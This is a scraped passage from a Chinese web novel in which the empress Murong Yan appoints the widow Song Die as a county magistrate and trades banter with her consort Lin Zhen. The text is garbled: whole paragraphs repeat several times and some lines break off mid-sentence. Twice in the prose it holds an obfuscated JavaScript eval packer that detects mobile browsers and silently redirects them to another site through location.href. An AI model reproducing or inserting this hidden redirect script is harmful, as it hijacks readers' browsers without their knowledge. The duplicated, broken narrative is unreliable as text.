“据朕所知,工部尚书宋正林家有一闺女,颇有才华,不如就派她去试试。” “啊?”钱书恒都懵了。 宋正林家确实有个闺女,因为出生的时候有蝴蝶落在房头,所以给取名叫宋蝶。 宋蝶很有才华,在京城里也算名伶,及笄后嫁给御史台郎中的小儿子为妻,可偏偏他丈夫又是个短命的,结婚没几年就撒手人寰,也没留下个子嗣。 这件事情京城里人尽皆知,但宋蝶却没有因此自艾自怜,反而继续读书,做出来的文章引得京城无数风流才子仰慕。 可即便如此,这个决定也似乎不妥。 钱书恒回答道:“陛下,微臣承认宋蝶的才华,但她是女子啊。女子为官.恐怕不妥吧?” “嗯?”慕容嫣瞪起凤目,“怎么?朕都可以当皇帝,女子为什么就不可以当官啊?” “陛下,这不是一件事情,您是皇族,但她.” “行了,别废话,你立刻回去,带上小邓子一起,把宋蝶叫进宫来,朕自有决断。” “这”钱书恒听闻,连忙再次跪地:“微臣遵旨,这便去安排。” 说罢,又行了一礼,这才退下。 同时他内心也在暗暗叹气。 这样明目张胆地选用女官,也不知道群臣会是什么反应? 应该会把自己口诛笔伐吧? 最可怕的是自己还不敢声张。 唉,这官呐,越来越难做了。 钱书恒刚退下不久,慕容无舌便匆匆忙忙地从殿外走进来。 以他的沉稳居然一路小跑,官靴在地面上踏出一连串急促的声响,手中紧紧握着一封信,神色显得格外神神秘秘。 一入殿,他便来到慕容嫣身边,双手将信呈上:“陛下,老奴已经派人去喊林臻了,刚走到半路,收到这封信。事关重大,老奴不敢耽搁,所以立马回来呈给陛下。” 慕容嫣心头一紧,她敏锐地察觉到事情不妙,伸手接过信,快速拆开封口。 展开信纸,一行行触目惊心的文字映入眼帘,竟是她最为倚重的百骑司遭到了不明势力的袭击。 信中描述得并不详尽,但仅仅是“伤亡惨重”“线索全无”几个字眼,便足以让慕容嫣的脸色瞬间变得惨白。 她的双手不自觉地握紧信纸,指关节因用力而泛白,凤目圆睁,眼中满是震惊与愤怒:“山贼?一派胡言,哪有山贼劫军队的?肯定是某个势力不愿意看到大乾和韩国的这次贸易,所以才出来搅局的。” 不得不过,慕容嫣的进步真的很大。 在寥寥几个字的信件中一眼就能看出此事绝非天灾,而是人祸。 慕容无舌低垂着头,大气都不敢出,只是小声嗫嚅道:“陛下息怒,老奴这就去查,定要把幕后黑手找出来。” 慕容嫣深吸一口气,极力平复着情绪。 她知道,此刻就算发火无济于事,必须冷静应对。 况且百骑司运送的货物并未丢失,只是人员有伤亡。 如此一来,那这第一次交易就还会顺利进行。 看来必须得尽快把叶县的情况稳住。 慕容嫣隐约觉得,上一任县令应该不是什么病死,而是有人蓄意谋害,以达到某些不可告人的目的。 她微微闭上眼睛,脑海中飞速运转,思索着可能的线索与应对之策。 片刻后,她睁开眼睛,目光冷峻如霜:“传朕旨意,令刑部、大理寺即刻联合彻查此事,务必在最短时间内找出真相。再派人通知林臻,让他加快脚步,朕有要事与他商议。” “遵旨!” 慕容无舌连忙应道,起身匆匆退下,去执行慕容嫣的命令。 养心殿内,慕容嫣独自坐在凤椅上,阳光依旧洒在她身上,可此刻她却仿若置身冰窖,周身散发着寒意。 慕容嫣突然喊道:“三驴子呢?” “臣在。” 一个太监模样的男人从大殿的屏风后面闪现。 这是慕容嫣埋下的暗桩,也是保护她的最后一道防线。 三驴子走出来。 慕容嫣问道:“百骑司被袭击已经是六天以前的事情了,你们情报系统是干什么吃的!” “陛下息怒,微臣也是刚刚得知这件事情。因为路途遥远,与韩国的交易又迫在眉睫,所以庄统领才不得不让队伍继续行进,直到达到叶县后才派人回来送信的。” “林臻那边呢 ?他难道会不知道百骑司出了事情?” “回陛下,世子已经提前知道了这件事情,因为他在百骑司里也有暗桩。” “这个可恶的家伙,连朕的私人力量都要插手。”慕容嫣碎碎念了一句,虽然字眼说得讨厌,但语气上根本看不出来。 可以说,更多的应该是对林臻行为的一种包容和宠溺。 这也不奇怪,毕竟她是真的爱上了林臻。我们对所爱之人做的事情,总是会包容得更多。 慕容嫣说道:“林臻不可能有什么坏心思,暗桩的事情先不要动。你立刻回醉仙楼加派人手去叶县,另外组织稳妥的人,等朕见过宋蝶后,秘密将她安全送到叶县赴任,如果再出了差错,提头来见!” “微臣遵旨!”三驴子抱拳,然后离开。 慕容嫣叹了口气,靠在凤椅上有些落寞。 皇帝不是那么好当的,皇位也不是那么好做的,很多时候慕容嫣都觉得自己好生疲惫,不如做一个无忧无虑的富家少女,然后嫁给林臻,每天就是吃喝玩乐什么也不用操心。 醉仙楼以前是顾家的产业,顾家谋反案后,慕容嫣点名将其纳入了自己的产业。 其目的就是要打造自己的情报系统。 醉仙楼占地面积很大,而且百骑司们穿着便衣与食客混在其中,打听情报很是方便。 这么长时间,真金白银地砸进去,也确实收到了成效。 百骑司现在不仅人员壮大,训练有素,对慕容嫣忠诚,还能对官员、地方、百姓施行一定的监控,几乎有什么地方发生了什么大事情,都逃不过慕容嫣的耳朵。 除了百骑司,天道的那些女**也还在培训,等洗脑成功,就可以利用她们来进一步强化情报系统,从此慕容嫣就可以手眼通天。 至于顾家除醉仙楼外的其他产业,全部归林臻所有。 林臻还主动提高商税,达到了恐怖的十税六。 商贾赚的钱一多半都要加税,而且林臻还极力的控制物价,不允许上涨。 很多没良心的商贾都把国家对他们收取的商税,让百姓买单。 十块钱的盒饭,因为税上涨,所以就要卖十五。 这是林臻绝对不允许发生的。 所以为了控制生活必需品的物价,林臻只能采取补贴的政策。 比方说粮商。 人家就靠收粮食、卖粮食赚钱。突然提高这么多的税,又不允许粮食涨价,他们就只能忍痛,背地里咒骂朝廷政策不周,然后选择改行。 大家都不收粮食了,农民又不可能自己把那么多粮食运来运去,万一招贼怎么办? 林臻没办法,只好另外出了政策,就是生活必需品物资在结算之后,可以找朝廷退一部分税。 而这部分税,就是他们的利润。 当然,这利润是不能和之前比的,用通俗易懂的话说就是:吃不饱也饿不死。 偏偏很多事情又不完全受林臻的控制,除了民生的主要必需品外,很多东西还是跟着涨价了,不过目前来看还在可控的范围内。 慕容嫣收回思绪,看向殿外,一个小太监走了进来。 “启禀陛下,工部尚书宋正林之女宋蝶,在殿外候旨。” “宣。” ?他难道会不知道百骑司出了事情?” “回陛下,世子已经提前知道了这件事情,因为他在百骑司里也有暗桩。” “这个可恶的家伙,连朕的私人力量都要插手。”慕容嫣碎碎念了一句,虽然字眼说得讨厌,但语气上根本看不出来。 可以说,更多的应该是对林臻行为的一种包容和宠溺。 这也不奇怪,毕竟她是真的爱上了林臻。我们对所爱之人做的事情,总是会包容得更多。 慕容嫣说道:“林臻不可能有什么坏心思,暗桩的事情先不要动。你立刻回醉仙楼加派人手去叶县,另外组织稳妥的人,等朕见过宋蝶后,秘密将她安全送到叶县赴任,如果再出了差错,提头来见!” “微臣遵旨!”三驴子抱拳,然后离开。 慕容嫣叹了口气,靠在凤椅上有些落寞。 皇帝不是那么好当的,皇位也不是那么好做的,很多时候慕容嫣都觉得自己好生疲惫,不如做一个无忧无虑的富家少女,然后嫁给林臻,每天就是吃喝玩乐什么也不用操心。 醉仙楼以前是顾家的产业,顾家谋反案后,慕容嫣点名将其纳入了自己的产业。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个可恶的家伙,连朕的私人力量都要插手。”慕容嫣碎碎念了一句,虽然字眼说得讨厌,但语气上根本看不出来。 可以说,更多的应该是对林臻行为的一种包容和宠溺。 这也不奇怪,毕竟她是真的爱上了林臻。我们对所爱之人做的事情,总是会包容得更多。 慕容嫣说道:“林臻不可能有什么坏心思,暗桩的事情先不要动。你立刻回醉仙楼加派人手去叶县,另外组织稳妥的人,等朕见过宋蝶后,秘密将她安全送到叶县赴任,如果再出了差错,提头来见!” “微臣遵旨!”三驴子抱拳,然后离开。 慕容嫣叹了口气,靠在凤椅上有些落寞。 皇帝不是那么好当的,皇位也不是那么好做的,很多时候慕容嫣都觉得自己好生疲惫,不如做一个无忧无虑的富家少女,然后嫁给林臻,每天就是吃喝玩乐什么也不用操心。 醉仙楼以前是顾家的产业,顾家谋反案后,慕容嫣点名将其纳入了自己的产业。 其目的就是要打造自己的情报系统。 醉仙楼占地面积很大,而且百骑司们穿着便衣与食客混在其中,打听情报很是方便。 这么长时间,真金白银地砸进去,也确实收到了成效。 百骑司现在不仅人员壮大,训练有素,对慕容嫣忠诚,还能对官员、地方、百姓施行一定的监控,几乎有什么地方发生了什么大事情,都逃不过慕容嫣的耳朵。 除了百骑司,天道的那些女**也还在培训,等洗脑成功,就可以利用她们来进一步强化情报系统,从此慕容嫣就可以手眼通天。 至于顾家除醉仙楼外的其他产业,全部归林臻所有。 林臻还主动提高商税,达到了恐怖的十税六。 商贾赚的钱一多半都要加税,而且林臻还极力的控制物价,不允许上涨。 很多没良心的商贾都把国家对他们收取的商税,让百姓买单。 十块钱的盒饭,因为税上涨,所以就要卖十五。 这是林臻绝对不允许发生的。 所以为了控制生活必需品的物价,林臻只能采取补贴的政策。 比方说粮商。 人家就靠收粮食、卖粮食赚钱。突然提高这么多的税,又不允许粮食涨价,他们就只能忍痛,背地里咒骂朝廷政策不周,然后选择改行。 大家都不收粮食了,农民又不可能自己把那么多粮食运来运去,万一招贼怎么办? 林臻没办法,只好另外出了政策,就是生活必需品物资在结算之后,可以找朝廷退一部分税。 而这部分税,就是他们的利润。 当然,这利润是不能和之前比的,用通俗易懂的话说就是:吃不饱也饿不死。 偏偏很多事情又不完全受林臻的控制,除了民生的主要必需品外,很多东西还是跟着涨价了,不过目前来看还在可控的范围内。 慕容嫣收回思绪,看向殿外,一个小太监走了进来。 “启禀陛下,工部尚书宋正林之女宋蝶,在殿外候旨。” “宣。” ?他难道会不知道百骑司出了事情?” “回陛下,世子已经提前知道了这件事情,因为他在百骑司里也有暗桩。” “这个可恶的家伙,连朕的私人力量都要插手。”慕容嫣碎碎念了一句,虽然字眼说得讨厌,但语气上根本看不出来。 可以说,更多的应该是对林臻行为的一种包容和宠溺。 这也不奇怪,毕竟她是真的爱上了林臻。我们对所爱之人做的事情,总是会包容得更多。 慕容嫣说道:“林臻不可能有什么坏心思,暗桩的事情先不要动。你立刻回醉仙楼加派人手去叶县,另外组织稳妥的人,等朕见过宋蝶后,秘密将她安全送到叶县赴任,如果再出了差错,提头来见!” “微臣遵旨!”三驴子抱拳,然后离开。 慕容嫣叹了口气,靠在凤椅上有些落寞。 皇帝不是那么好当的,皇位也不是那么好做的,很多时候慕容嫣都觉得自己好生疲惫,不如做一个无忧无虑的富家少女,然后嫁给林臻,每天就是吃喝玩乐什么也不用操心。 醉仙楼以前是顾家的产业,顾家谋反案后,慕容嫣点名将其纳入了自己的产业。 其目的就是要打造自己的情报系统。 醉仙楼占地面积很大,而且百骑司们穿着便衣与食客混在其中,打听情报很是方便。 这么长时间,真金白银地砸进去,也确实收到了成效。 百骑司现在不仅人员壮大,训练有素,对慕容嫣忠诚,还能对官员、地方、百姓施行一定的监控,几乎有什么地方发生了什么大事情,都逃不过慕容嫣的耳朵。 除了百骑司,天道的那些女**也还在培训,等洗脑成功,就可以利用她们来进一步强化情报系统,从此慕容嫣就可以手眼通天。 至于顾家除醉仙楼外的其他产业,全部归林臻所有。 林臻还主动提高商税,达到了恐怖的十税六。 商贾赚的钱一多半都要加税,而且林臻还极力的控制物价,不允许上涨。 很多没良心的商贾都把国家对他们收取的商税,让百姓买单。 十块钱的盒饭,因为税上涨,所以就要卖十五。 这是林臻绝对不允许发生的。 所以为了控制生活必需品的物价,林臻只能采取补贴的政策。 比方说粮商。 人家就靠收粮食、卖粮食赚钱。突然提高这么多的税,又不允许粮食涨价,他们就只能忍痛,背地里咒骂朝廷政策不周,然后选择改行。 大家都不收粮食了,农民又不可能自己把那么多粮食运来运去,万一招贼怎么办? 林臻没办法,只好另外出了政策,就是生活必需品物资在结算之后,可以找朝廷退一部分税。 而这部分税,就是他们的利润。 当然,这利润是不能和之前比的,用通俗易懂的话说就是:吃不饱也饿不死。 偏偏很多事情又不完全受林臻的控制,除了民生的主要必需品外,很多东西还是跟着涨价了,不过目前来看还在可控的范围内。 慕容嫣收回思绪,看向殿外,一个小太监走了进来。 “启禀陛下,工部尚书宋正林之女宋蝶,在殿外候旨。” “宣。” 第409章 这才是女人啊! 晨光熹微,养心殿外静谧得有些压抑。 宋蝶驻足殿外,轻轻抚平裙摆上那细微的褶皱,试图借此平复自己略显慌乱的心跳。 她今日身着一袭洁白素裙,那料子似是用上好的冰蚕丝织就,触感微凉,顺滑无比,裙摆随着微风轻轻摆动,纯净无暇,散发着淡雅的光晕,将她纤细的腰肢映衬得恰到好处。 面容娇柔,眉如远黛,细长而温婉,不浓不淡,恰到好处地镶嵌在她那光洁的额头下方。 双眸恰似两汪秋水,澄澈灵动,眼波流转间,藏着几分聪慧与羞怯,偶尔眨动,长长的睫毛便如蝶翼般轻轻扇动,扑闪扑闪的,更添几分楚楚动人。 琼鼻挺秀,线条柔美,如同被精心雕琢的玉柱,使得整张脸更具立体感。 唇若樱桃,不点而朱,微微上扬的嘴角,即便在紧张时刻,也透着一股子与生俱来的倔强。 肌肤胜雪,细腻如瓷,让人忍不住想要触碰,却又生怕唐突了佳人。身姿更是婀娜多姿,盈盈一握的小蛮腰,不盈一折,尽显女子的柔美与娇弱。 身形高挑却不失婉约,走起路来,如弱柳扶风。 宋蝶双手规规矩矩地叠放在小腹位置,手指下意识地揪着衣角。 随着里面太监的传召。 她低着头,迈着小碎步走进殿内,尽量让自己的举止显得从容些,鞋面上精致的刺绣随着步伐若隐若现。 可微微颤抖的指尖还是泄露了内心的紧张。 因为已经一百多年了,没有皇帝传召大臣女子的事情发生。 甚至在先帝时期,女子要进宫面圣,不问缘由,先打五十背棍以彰显对皇权的尊重,同时也是对女子地位的践踏。 而如今,女帝慕容嫣竟公然宣召大臣之女入宫,这其中的缘由,没人能猜到,甚至就连宋蝶自己都不知道,自己做过什么,能得到这样的殊荣。 哦不,目前来看应该还不是殊荣。 跨进殿门,光线一下子暗了几分。 宋蝶抬眸,只见那龙涎香袅袅升腾,朦胧中,慕容嫣高坐于凤椅之上。 她头戴一顶赤金打造的凤冠,冠身之上,凤凰展翅欲飞,凤尾以细碎红宝石与猫儿眼宝石镶嵌而成。 每一片凤尾羽都由数十颗红宝石与猫儿眼精心排列,随着她的细微动作闪烁着奢靡光芒。 凤喙衔着一串东珠,颗颗圆润硕大,散发着温润光泽,轻轻晃动间有光晕流转,相互辉映,晃得人睁不开眼。 凤冠两侧垂下的流苏,皆是用南海鲛 人泪所制的珍珠串成,每一颗珍珠都呈完美的水滴状,在微光中泛着梦幻般的蓝光,灵动轻盈。 走起路来,流苏相互碰撞,发出如仙乐般清脆悦耳的声响。 再看那凤袍,以明黄锦缎为底,金线穿梭其中,勾勒出繁复至极的花纹。 袍身绣满了形态各异的凤凰,或引吭高歌,或回首凝望,或振翅翱翔,栩栩如生。 凤凰周身的羽毛用五彩丝线绣成,在光影交错间,泛着绮丽的色泽,红似火,粉像霞,蓝若深海,绿如翠玉,黄同骄阳,每一针每一线都倾注了绣工的毕生心血,绣出了这世间罕有的奢华。 更为惊人的是,这凤袍之上,每隔一寸,便镶嵌有一颗拇指大小的祖母绿宝石,宝石深邃的绿色与凤袍的艳丽色彩相互映衬,散发着冷冽而高贵的光芒,使得整件凤袍熠熠生辉,价值连城。 拖地的凤袍拖尾更是令人惊叹,不知道有多长,只知道那拖尾用上等的雪貂皮**镶边,柔软而华贵。 拖尾上绣着的云海翻腾图,白色的丝线勾勒出层层云海,虚实相生,如梦如幻。 凤凰穿梭其中,时隐时现。 不仅如此,拖尾的边缘还镶嵌着一排罕见的蓝钻,每一颗蓝钻都经过能工巧匠的精心打磨,呈现出完美的八面体形状,在光线的折射下,散发出幽蓝深邃的光芒,璀璨夺目。 此刻拖尾盘踞在慕容嫣的凤椅四周,像只高傲的**栖在大殿之内,光芒闪耀,让人不敢逼视。 这才是女人啊! 宋蝶只瞧了一眼,便觉那光芒太过耀眼,不敢直视,忙盈盈下拜。 “臣女宋蝶,参见陛下。”声音落下,殿内似有回音,更衬得气氛庄重。 慕容嫣微微抬手,轻轻挥动凤袍,那袖子上用金线绣成的凤凰仿若活物,在光影交错间振翅欲飞,她朱唇轻启:“平身。” 宋蝶忙起身,垂首应道:“谢陛下。” 慕容嫣目光如炬,紧紧锁住宋蝶,片刻后,开口问道:“你可知道朕为何宣你进宫?” 宋蝶心下一惊,这是她第一次如此近距离地见到皇帝,难免胆怯,况且又有先帝鞭策女子进宫的事情在前。 她微微咬了下唇,思索一瞬,轻声道:“臣女并不知道。” 慕容嫣站起身来,凤袍拖地,发出细微的摩挲声。 她缓声道:“如今的大乾一日三变,用世子的话说就是,时代的车轮滚滚向前,不容有片刻喘息。土地越大,责任就越大,需要的官员也就更多。但眼下朕没有可以担当大任 的官员,所以朕准备启用女官。” 说罢,她双手优雅地提起凤袍裙摆,头上的凤冠随着动作轻轻晃动,珠翠碰撞,发出悦耳声响,身上的凤袍、拖尾在光影下折射出五彩华光,极致奢华。 她走下台阶,停在宋蝶身前,继续说道。 “如今这朝堂,虽男子居多,可朕深知巾帼不让须眉的道理。朕听闻你才华横溢,对**、地方管理颇有见地,朕的江山,只要有才者,皆可效力。所以朕打算让你去叶县当县令,那儿是与韩国贸易的要冲之地,事务繁杂却至关重要,你可能担得此任?” 宋蝶猛地抬头,眼中满是惊愕,下意识脱口而出:“臣女乃是女子,女子当官恐怕会遭人非议。” 在这之前,她虽饱读诗书,心怀壮志,甚至都幻想过自己也能像慕容嫣一样当个皇帝。 但那也只是想想而已。 女子当皇帝谈何容易?慕容嫣一路走来的艰辛,她虽未看在眼里,却也能心如明镜。 那必定是一段曲折而痛苦的路。 在这女子为官难如登天的世道里,她即便想拥有自己的学子都是一件非常苛刻的事情,更遑论有朝一日能得此重任。 慕容嫣的话,击碎了她曾经固执的想法。 慕容嫣嘴角勾起一抹浅笑,那笑容里有不容置疑的霸气。 “呵,朕以女子之身登顶大位,那其他女子自然也可以入朝为官。我们女人苦了千百年,是该觉醒了。你放心,朕既委你重任,便会为你撑腰。叶县的权力完全交给你,还会调拨兵马粮草助你站稳脚跟。你只需一门心思把叶县管理好,保证贸易之路畅通无阻,莫要让朕失望。” 宋蝶只觉一股热流涌上眼眶,激动得浑身颤抖。 女子觉醒啊! 这么小众的话啊。 然而这样的话居然是在皇帝嘴里说出来的。 好。 好啊。 宋蝶眼眶泛红,却目光坚定,再次下拜:“臣女愿为陛下鞠躬尽瘁,死而后已。” 慕容嫣眼中闪过一丝满意,她上前一步,亲手扶起宋蝶,柔声道。 “不是为朕,而是为天下女子争一口气,告诉他们,女子不输男。” “嗯!臣女一定不辱使命!”宋蝶起身,与慕容嫣对视。 忽然,慕容嫣发现她眉目很翠。 发现之后,一双凤目便上上下下打量着她,说道:“朕第一次见你,却觉得你生得清秀,今年芳龄几何?” 宋蝶有些不太习惯被这样赤裸裸地盯 着福了一福回答道:“回陛下臣女.微臣今年二十有九。” “还真是看不出来。朕听闻你丧夫可有想法改嫁?” 宋蝶摇了摇头:“嫁鸡随鸡嫁狗随狗微臣并不打算改嫁。” “什么鸡呀狗呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303590|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新时代就要有新思想何必遵守那些传统教化?尤其是我们女子。凭什么男人丧偶就可以再娶女子丧偶就必须守寡?呵朕不喜欢这些禁锢女子的世俗言论。等你把叶县的差事办好朕给你重新找个好人家。该说不说大将军周泽就不错年级轻轻便有赫赫战功和你一样也是丧偶之前王爷想把刘玉莹许配给他谁知道后来又出了那档子事儿唉造化弄人啊。” 慕容嫣越说越感慨。 也说的宋蝶有些摸不着头脑但她的那句凭什么“女子丧偶就必须守寡”这句话让她有些心花怒放。 本来她也不喜欢这些世俗教化只是在大环境下她没有改变的能力只能顺遂。 如今有皇帝撑腰她自然乐意重新找个好丈夫嫁人生娃。 何况对方还是大乾军中的重要将领新时代的国公——周泽。 宋蝶再次福身:“微臣多谢陛下。” “嗯回去收拾收拾立刻上任百骑司已经在你家等着了。” “微臣遵旨!” 言罢宋蝶缓缓退了出去。 慕容嫣站在养心殿内心中还在思索着这位新上任女官未来的路途 一丝不易察觉的疲惫悄然爬上她的眉梢身为一国之君这江山的每一处褶皱里都藏着她的殚精竭虑。 她轻轻叹了口气缓缓一回头这一眼却让她瞬间瞪大了双眸。 只见林臻不知道什么时候已经来了正大大咧咧地坐在凤椅下面那张堆满奏章的办公桌后面。 他身姿随意懒散仿佛这不是庄严肃穆的养心殿而是自家的后花园。 他一只手闲适地搭在扶手上另一只手则不停地在桌上的纸包里翻找着什么全然不顾及周围凝重的皇家氛围随后一颗栗子被他掏出来。 他微微仰头将一颗饱满的栗子丢进嘴里轻轻一咬“咔嚓”一声栗子壳裂开香甜的气息瞬间在空气中弥漫开来。 他满足地咀嚼着腮帮子一鼓一鼓的活像一只贪吃的小松鼠。 那玩世不恭的笑容就如同春日里肆意绽放的野花灿烂却又带着几分不羁从嘴角一直蔓延到眼角连那双深邃的眼眸里都盈满了笑意。 慕容嫣看到这一幕,先是一愣,随即一股怒火“噌”地从心底蹿起。 这养心殿,向来是商议国家大事、批阅机密奏章之地,莫说是旁人随意落座,就是近身太监宫女未经传唤擅自靠近,那都是要受重罚的。 更何况,眼前这个家伙,此刻还优哉游哉地吃着零食,仿佛在故意挑衅这皇宫的规矩。 “林臻!”慕容嫣的声音瞬间拔高,带着帝王特有的威严与愠怒,在空旷的大殿内回荡,震得房梁似乎都微微颤抖。 林臻却仿若未闻,依旧沉浸在自己的栗子世界里,又不紧不慢地往嘴里送了一颗,这才慢悠悠地抬起头。 看到慕容嫣那气得通红的脸,他先是佯装惊讶,瞪大了眼睛,随后嘴角上扬的弧度更大了,调侃道:“哟,陛下这是怎么了?谁惹您生气啦,可别气坏了身子,这天下还指望着您呢。” 一边说着,一边还不忘又剥了一颗栗子,故意在慕容嫣眼前晃了晃,那动作里满是戏谑。 慕容嫣气得直跺脚,大步走到林臻面前,指着他的鼻子怒斥:“你你什么时候来的?是不是已经偷听半天了?” “偷听?”林臻坐直身体,“我可没有啊,是你的小太监不敢通报,所以我就走进来了。不过该说不说,嫣儿啊,你这启用女官也太着急了吧?这宋蝶一旦上任,你知不知道那些老臣会作何反应?” 向来了解林臻的慕容嫣,也不再生气,迈步走到林臻面前,那拖尾在雕刻着凤凰地砖上拖动,发出沙沙的声响。 她来到林臻面前,看了看他,最后自己一屁股坐在办公桌上,像女老板似的翘起二郎腿。 林臻看得真切,她凤袍下面穿的是金黄色亵裤,包裹得严严实实,看不到任何私密。 “不是你说让朕不要操之过急,要一点一点启用女官吗?现在朕做出来了,你又有意见?” 第410章 练武**,女帝极限反杀 林臻把腿伸到办公桌上像大老板看着女秘书的样子双手枕在脑后悠哉游哉的样子十分惬意好像这里不是金碧辉煌的养心殿而是他的办公室。 “我当初跟你说的是先挑选合适的人充当女舍人陪你上朝学习朝政、国家大事。你可倒好直接把人送到叶县去当县令了群臣没意见才怪呢。” “那怎么办?旨意已经下了如果朝令夕改朕的权威将大大削弱。” “改是不可能改了你现在就盼望这个宋蝶真能顶住各方面压力保证叶县商道的畅通否则你想让女性觉醒这件事情就得再往后拖了。” 慕容嫣险些有些失落最近一系列事情让人烦不胜烦偏偏每一件都处理得不是很尽如人意看来自己想当个好皇帝还有很长的路要走啊。 “唉夫君啊要不你来当这个皇帝算了。” “可别当皇帝多累啊还是当个逍遥世子每天喝茶听曲快活自在。” 这就是林臻现在的真实写照。 商业有张俪她们去管政事有慕容嫣操心他自己做个甩手掌柜每天老婆孩子热炕头闲来无事陪老爷子钓钓鱼去城外赛马。 这他妈才是政三代应该过的日子。 以前操心这操心那对外战争对内夺走顾北辰的气运把自己忙得晕头转向简直白活了。 慕容嫣说道:“唉就知道你不同意罢了罢了这些事情还是让朕去操心吧。不过夫君啊这叶县县令突然死亡钱书恒又推荐姓韩的人充当县令。朕总觉得这里面有蹊跷你怎么看?” “肯定有蹊跷我估计百骑司遇伏的事情你也知道了。这都是设计好的只能说对方的背后有高人指点。不过嘛我大乾现在实力强盛一些小打小闹除了给我们挠痒痒之外也掀不起什么风浪。我最担心的不是叶县也不是与韩国的贸易而是你的安全。” 慕容嫣指了指自己:“朕的安全?” “没错。”林臻神色显得有些凝重“你的安全是重中之重。因为皇族没有子嗣一旦你出了事情大乾就会乱套 一番话说得慕容嫣心里好暖忽然她想到自己要练武的事情于是说道。 “夫君我们来掰腕子怎么样?” “蛤?掰腕子?” 男人和女人掰腕子?不是说瞧 不起女人,但女人和男人肯定先天性就有力量上的差距。 当然了,如果你要非得拿奥运冠军杨秀丽和瘾君子做对比抬杠,那就当我没说。 “和我掰腕子?你知不知道为夫最近力气大了很多啊?” 林臻的身体被噬心蛊改造过,力气大得惊人,前几天胖子耍无赖,又要在院子里拉屎,结果被他单手揪住后勃领就扔出了院子。 如今慕容嫣要和他掰手腕,这不是自取其辱,就是情侣间的送命题。 讲话了,你敢赢我,我就哭给你看。 慕容嫣跳下办公桌,来到另一边和林臻面对面,一甩凤袖露出白藕般的手臂,撑在桌子上。 林臻狐疑地道:“来真的?” “当然,来啊。” “嘿我就信这个邪了。”林臻坐直身体,把手伸出去与慕容嫣握在一起。 随即开始倒数:“3!2!1!” “嗯!?” 林臻没想用多大力气,他担心会把慕容嫣弄伤,所以一开始只是象征性地掰一下。 谁知道慕容嫣的手臂就像机械臂一样,纹丝不动。 而且她嘴角还挂着淡淡笑意,脸不红气不喘。 嘶.这尼玛什么情况? 林臻懵了,就听慕容嫣说道:“你行不行呀?” 边说边阴阳怪气的。 男人怎么能说不行呢?林臻深吸口气,铆足力气,再次狠狠往下掰。 这下慕容嫣总算感受到压力,也开始凝神静气起来,两人的手在空中不断发出嘎吱吱的声音,手臂微微震动摇晃,可就是谁也拿不下谁。 最后,林臻呼出一口浊气,松开了手。 他非常疑惑地看着慕容嫣。 “呼呼.嫣儿,你这什么情况啊?” 难道说慕容嫣也被噬心蛊附身了?不可能啊。 她又没有被下蛊,怎么会力气增长得这么大? 慕容嫣笑着将被勒红的玉手在林臻面前晃了晃,说道:“无舌说朕以前曾为先帝试药,但并没有成功,也不知道为什么突然药效就开始发作了。” 林臻狐疑地伸手把慕容嫣抱进怀里,放在自己腿上,眼睛上上下下地打量着她:“嫣儿,你觉得身体有什么问题吗?或者是哪里不舒服?” “没有啊,朕吃的好,睡得香,身体倍棒!” “这可真是奇了.不行不行,为夫得出宫去找棋牌佛问问。”林臻把慕容嫣放下来。 他认为能解释这件事情的也就棋牌佛了,这老东西估计 也是穿越来的而且穿越得比自己要早知道的东西肯定特别多。 慕容嫣却一把将林臻拉住说道:“夫君既然你这么信任棋牌佛不如把他带进宫来我们一起解开这个谜团岂不是更好?” “此言有理你在宫里稍候为夫这就把那老东西抓回来问清楚。如果这东西没有副作用倒也罢了若是伤害身体为夫就是找遍天下也要治好你!” 说完林臻怒气冲冲走了。 慕容嫣感动得稀里哗啦忽然想起还有件事情没跟他说呢。 “夫君!!”她向林臻的背影大喊但林臻却头也不回地走了出去。 “唉罢了等回来再说吧。”慕容嫣摇摇头转身去往后殿。 慕容嫣一时间有些心力交瘁拖着沉重的步子回到后殿寝宫。 刚踏入宫门一阵呼呼的风声便传入耳中她抬眸望去只见刘妙颜一身利落戎装身姿矫健地站在那片开阔的空地上舞枪。 刘妙颜手中的**仿若蛟龙出海在她的挥舞下寒光闪烁枪尖划过空气发出尖锐的呼啸卷起阵阵尘土气势如虹。 她的每一个动作都刚劲有力辗转腾挪间尽显飒爽英姿那股子豪迈之气仿佛能冲破这宫墙的束缚直上云霄。 脚下的砖石都似因她的挥舞跺脚发力而微微颤动周围的花草被劲风吹得簌簌作响仿若在为她的英武伴舞。 慕容嫣看得入了神心中不禁泛起层层涟漪满是羡慕。 如果自己也有颜颜她轻轻挪动脚步朝着刘妙颜走去口中轻轻唤了声:“颜颜。” 刘妙颜瞬间收住招式手中**稳稳立定身姿挺拔如松。 她回首望去只见慕容嫣头戴那顶赤金打造、奢华无比的凤冠。 冠上凤凰展翅欲飞凤尾以细碎红宝石与猫儿眼宝石镶嵌而成每一片凤尾羽都由数十颗红宝石与猫儿眼精心排列 凤喙衔着一串东珠颗颗圆润硕大散发着温润光泽轻轻晃动间光晕流转相互辉映晃得人睁不开眼。 凤冠两侧垂下的流苏皆是用南海鲛人泪所制的珍珠串成每一颗珍珠都呈完美的水滴状在微光中泛着梦幻般的蓝光灵动轻盈走起路来流苏相互碰撞发出清脆悦耳的声响。 再看那凤袍以明黄锦缎为底金线穿梭其中勾勒出繁复至极的花纹。 袍身绣满了形态各异的凤凰或引吭高歌或回首凝望或振翅翱翔栩栩如 生。 